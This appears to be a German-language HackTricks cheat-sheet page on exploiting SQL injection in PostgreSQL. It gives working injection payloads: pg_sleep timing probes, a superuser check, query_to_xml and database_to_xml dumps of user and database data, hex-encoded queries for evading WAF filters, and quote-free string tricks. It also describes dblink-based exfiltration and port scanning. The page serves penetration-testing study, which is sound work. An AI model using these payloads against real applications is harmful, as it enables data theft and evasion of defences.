PostgreSQL-Injektion
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Diese Seite soll verschiedene Tricks erklären, die Ihnen helfen könnten, eine in einer PostgreSQL-Datenbank gefundene SQL-Injektion auszunutzen und die Tricks zu ergänzen, die Sie auf https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md finden können.
Netzwerkinteraktion - Privilegieneskalation, Port-Scanner, NTLM-Herausforderungsantwort-Offenlegung & Exfiltration
Das PostgreSQL-Modul dblink
bietet Möglichkeiten zur Verbindung mit anderen PostgreSQL-Instanzen und zur Ausführung von TCP-Verbindungen. Diese Funktionen, kombiniert mit der COPY FROM
-Funktionalität, ermöglichen Aktionen wie Privilegieneskalation, Port-Scanning und das Erfassen von NTLM-Herausforderungsantworten. Für detaillierte Methoden zur Durchführung dieser Angriffe überprüfen Sie, wie Sie diese Angriffe durchführen.
Exfiltrationsbeispiel mit dblink und großen Objekten
Sie können dieses Beispiel lesen, um ein CTF-Beispiel zu sehen, wie man Daten in große Objekte lädt und dann den Inhalt großer Objekte im Benutzernamen der Funktion dblink_connect
exfiltriert.
PostgreSQL-Angriffe: Lesen/Schreiben, RCE, Privilegieneskalation
Überprüfen Sie, wie Sie den Host kompromittieren und Privilegien aus PostgreSQL eskalieren können in:
5432,5433 - Pentesting Postgresql
WAF-Umgehung
PostgreSQL-Zeichenfolgenfunktionen
Das Manipulieren von Zeichenfolgen könnte Ihnen helfen, WAFs oder andere Einschränkungen zu umgehen.
Auf dieser Seite finden Sie einige nützliche Zeichenfolgenfunktionen.
Gestapelte Abfragen
Denken Sie daran, dass PostgreSQL gestapelte Abfragen unterstützt, aber mehrere Anwendungen einen Fehler auslösen, wenn 2 Antworten zurückgegeben werden, während nur 1 erwartet wird. Aber Sie können die gestapelten Abfragen weiterhin über Zeit-Injektion missbrauchen:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML-Tricks
query_to_xml
Diese Funktion gibt alle Daten im XML-Format in nur einer Datei zurück. Sie ist ideal, wenn Sie eine große Menge an Daten in nur einer Zeile ausgeben möchten:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Diese Funktion wird die gesamte Datenbank im XML-Format in nur 1 Zeile ausgeben (seien Sie vorsichtig, wenn die Datenbank sehr groß ist, da Sie sie möglicherweise DoS oder sogar Ihren eigenen Client):
SELECT database_to_xml(true,true,'');
Strings in Hex
Wenn Sie Abfragen ausführen können, indem Sie sie innerhalb eines Strings übergeben (zum Beispiel mit der query_to_xml
-Funktion). Sie können die convert_from verwenden, um den String als Hex zu übergeben und auf diese Weise Filter zu umgehen:
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
Verbotene Anführungszeichen
Wenn Sie keine Anführungszeichen für Ihre Nutzlast verwenden können, können Sie dies mit CHR
für grundlegende Klauseln umgehen (Zeichenverkettung funktioniert nur für grundlegende Abfragen wie SELECT, INSERT, DELETE usw. Sie funktioniert nicht für alle SQL-Anweisungen):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Oder mit $
. Diese Abfragen liefern die gleichen Ergebnisse:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.